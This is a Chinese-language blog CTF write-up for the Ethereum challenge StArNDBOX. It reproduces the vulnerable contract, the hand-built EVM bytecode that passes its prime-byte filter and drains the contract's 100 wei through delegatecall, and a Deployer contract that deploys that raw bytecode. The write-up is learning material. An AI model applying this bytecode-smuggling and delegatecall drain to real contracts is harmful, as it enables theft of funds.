前言
一道也是要手寫opcode的題目,其實目前的理解感覺有些懵懂,但是至少對于題目的基本原理也是懂了,學到了很多,
WP
原始碼:
pragma solidity ^0.5.11;
library Math {
function invMod(int256 _x, int256 _pp) internal pure returns (int) {
int u3 = _x;
int v3 = _pp;
int u1 = 1;
int v1 = 0;
int q = 0;
while (v3 > 0){
q = u3/v3;
u1= v1;
v1 = u1 - v1*q;
u3 = v3;
v3 = u3 - v3*q;
}
while (u1<0){
u1 += _pp;
}
return u1;
}
function expMod(int base, int pow,int mod) internal pure returns (int res){
res = 1;
if(mod > 0){
base = base % mod;
for (; pow != 0; pow >>= 1) {
if (pow & 1 == 1) {
res = (base * res) % mod;
}
base = (base * base) % mod;
}
}
return res;
}
function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
if (pow >= 0) {
return expMod(base,pow,mod);
}
else {
int inv = invMod(base,mod);
return expMod(inv,abs(pow),mod);
}
}
function isPrime(int n) internal pure returns (bool) {
if (n == 2 ||n == 3 || n == 5) {
return true;
} else if (n % 2 ==0 && n > 1 ){
return false;
} else {
int d = n - 1;
int s = 0;
while (d & 1 != 1 && d != 0) {
d >>= 1;
++s;
}
int a=2;
int xPre;
int j;
int x = pow_mod(a, d, n);
if (x == 1 || x == (n - 1)) {
return true;
} else {
for (j = 0; j < s; ++j) {
xPre = x;
x = pow_mod(x, 2, n);
if (x == n-1){
return true;
}else if(x == 1){
return false;
}
}
}
return false;
}
}
function gcd(int a, int b) internal pure returns (int) {
int t = 0;
if (a < b) {
t = a;
a = b;
b = t;
}
while (b != 0) {
t = b;
b = a % b;
a = t;
}
return a;
}
function abs(int num) internal pure returns (int) {
if (num >= 0) {
return num;
} else {
return (0 - num);
}
}
}
contract StArNDBOX{
using Math for int;
constructor()public payable{
}
modifier StAr() {
require(msg.sender != tx.origin);
_;
}
function StArNDBoX(address _addr) public payable{
uint256 size;
bytes memory code;
int res;
assembly{
//計算_addr 的 length of the contract bytecode
size := extcodesize(_addr)
//code = memory[0x40:0x40+0x20]
code := mload(0x40)
/*
memory[0x40:0x40+0x20] = code + (((size+0x20)+0x1f) & (~0x1f))
*/
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
//memory[code:code+0x20] = size;
mstore(code, size)
//memory[code+0x20:code+0x20+size] = address(addr).code[0:size];
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
res = int(uint8(code[i]));
require(res.isPrime() == true);
}
bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
}
}
題目的合約里有100wei,要求我們把這100wei轉走即可,
看一下代碼,就會發現要求_addr的bytecode的每一位都是素數(這里是isPrime()函式檢驗),實際上:0,1和素數都可以,
因此思路其實很清楚就是構造合約的bytecode了,之前刷Ethernaut的時候,里面的MagicNumber也是這樣需要自己構造bytecode的了,,
還需要注意最后的:(success, _) = _addr.delegatecall("");
也是很危險的利用點了:

執行環境是呼叫者的運行環境,即合約本身的環境,
接下來就是知識盲區了,解法是利用call:

發起轉賬,而且call的是F1,正好也是素數,其中100wei是0x64,不是素數,可以利用add或者sub來構造:
61 push2 0x0001
61 push2 0x0001
61 push2 0x0001
61 push2 0x0001
61 push2 0x0001
61 push2 0x0065
03 sub
61 push2 0x0000
61 push2 0xfbfb
f1 call
等價于這樣:
def _fallback() payable: # default function
call 0x0 with:
value 100 wei
gas 64507 wei
得到6100016100016100016100016100016100650361000161fbfbf1
接下來的問題就是,怎么構造一個bytecode是這些的合約了,之前在Ethernaut是直接在控制臺上這樣構造:
await web3.eth.sendTransaction({from:player,data:"0x600a600c600039600a6000f3602a60805260206080f3"}, function(err,res){console.log(res)})
await contract.setSolver("0x067Cb3Ec131555289AC6C12cF702f121d080e1E1");
因此我也嘗試本地去利用node.js的web3.js寫構造合約的代碼,然后寫了一早上,踩了一堆坑還是報錯,,,吐了,,,,
看了別的師傅的WP,通過指定 constructor 函式的回傳值,即可完成任意位元組碼的部署:
pragma solidity ^0.5.11;
contract Deployer {
constructor() public {
bytes memory bytecode = hex'6100016100016100016100016100016100650361000161fbfbf1';
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}

關于素數的判斷,是61轉10進制是97,是素數因此可以,這樣的每兩位來判斷的,
得到合約后打過去即可:


即可成功
總結
其實還是有些迷的,關于指定 constructor 函式的回傳值,即可完成任意位元組碼的部署這里之后再學一下,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/278518.html
標籤:區塊鏈
上一篇:CHIA使用礦池教程
